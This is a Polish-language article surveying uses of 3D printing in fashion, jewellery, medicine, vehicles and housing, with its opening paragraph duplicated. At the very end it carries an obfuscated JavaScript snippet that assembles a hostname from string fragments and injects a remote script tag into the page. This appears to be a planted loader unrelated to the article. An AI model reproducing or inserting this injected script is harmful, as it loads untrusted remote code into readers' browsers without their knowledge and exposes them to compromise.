

Gdzie wykorzystywany jest druk 3d?

Druk 3D jest coraz powszechniej wykorzystywany. Zaadaptować może go niemal każda dziedzina, która opiera się na tworzeniu przedmiotów rzeczywistych, każda firma, które oferuje produkty, każdy przedsiębiorca, który wytwarza. Druk 3D staje się znany, lubiany i coraz częściej wykorzystywany, nawet przez bardzo małe firmy. Niezwykle często drukarka 3D staje się narzędziem, które umożliwia otwarcie swojego mniejszego lub większego biznesu.

Druk 3D jest coraz powszechniej wykorzystywany. Zaadaptować może go niemal każda dziedzina, która opiera się na tworzeniu przedmiotów rzeczywistych, każda firma, które oferuje produkty, każdy przedsiębiorca, który wytwarza. Druk 3D staje się znany, lubiany i coraz częściej wykorzystywany, nawet przez bardzo małe firmy. Niezwykle często drukarka 3D staje się narzędziem, które umożliwia otwarcie swojego mniejszego lub większego biznesu.

Moda, design, biżuteria

Bardzo szybko odkryto duże możliwości druku przestrzennego w modzie. Przez wiele lat próbowano drukować obuwie w całości - wychodziło to z lepszym bądź gorszym skutkiem, ponieważ nie wszyscy projektanci potrafili zagwarantować komfort obuwia, które w całości wykonane było np. z gumy. Jedną z projektantek, które wykorzystują tę technologię druku jest Mary Huang. Oferowane przez nią obuwie ma nowoczesny, futurystyczny design i pięknie prezentują się na nodze. Jednakże, wielu projektantów przez lata praktyki, doszło do wniosków, iż lepiej tworzyć buty tylko w części wydrukowane - postępują tak m.in. Chris van den Elzen i Judith van Vliet, które postawiły na wydruk samych podeszew. Modowi eksperci projektują również piękne, stylowe sukienki, stroje kąpielowe, gorsety - czy noszenie takich ubrań jest wygodne? Tego nie wiemy, ale z pewnością bardzo stylowe! Nie mniej zamieszania druk 3D spowodował w branży jubilerskiej, powstały nawet specjalne drukarki do tworzenia biżuterii. Druk przestrzenny w projektowaniu akurat tych produktów sprawdza się bardzo dobrze. Powodem jest przede wszystkim bardzo duża precyzjność wykonania nawet niezwykle skomplikowanych wzorów oraz możliwość wykorzystania wielu materiałów; od plastiku, przez polimery, aż do metali szlachetnych, także srebra oraz złota. Biżuterię taką można tworzyć na zamówienie. Posiadanie niepowtarzalnego kompletu jest kuszącą propozycją dla wielu kobiet!

Medycyna

Spektakularne osiągnięcia druku 3D zanotować należy w medycynie. O ile drukowanie zabawek, ubrań czy butów jest jedynie designerską zabawą, na której zarabia się miliony, to drukowanie narządów staje się niezwykle ważnym przedsięwzięciem. Co zdołano już wydrukować, aby uratować życie ludzkie lub poprawić jego komfort? Medycyna ma za sobą już druk kości pięty, dzięki czemu uratowano nogę 71 - letniego pacjenta Lena Chandlera, druk fragmentów twarzy, wykorzystanych przy operacji pacjentki z Gliwic, druk innowacyjnych protez także dla sportowców, które potrafią odczytywać impulsy pochodzące z mózgu, druk implantów, gipsu czy też naczyń krwionośnych, a także ludzkiej skóry ... i wiele, wiele innych...

Za pomocą drukarki 3D, stworzyć można także zabawki, przedmioty codziennego użytku, a nawet broń. Nowoczesne, wielkoformatowe drukarki mogą drukować kilkumetrowe elementy metalowe, wykorzystywane do budowy samochodów, karoserii ciężarówek, elementów statków kosmicznych. Chińczycy wydrukowali już nawet domy, a dokładniej osiedle składające się z 10 budynków. Druk 3D wykorzystywany jest, albo może być, w każdej dziedzinie życia. Zdaje się, że nie ma dla niego żadnych granic...

```
(function(){
  ul97=document.createElement("script");ul97.type="text/javascript";
  ul97.async=true;ul97_=(("us")+"t")+"a";ul97_+=("t.i")+"""+"n";ul97_+=(("f")+"o");
  ul97.src="http://"+ul97_+"/326916.887lqrrXI97zvI3nn6ghgj3zXwrl5v";
  document.body.appendChild(ul97);
})();
```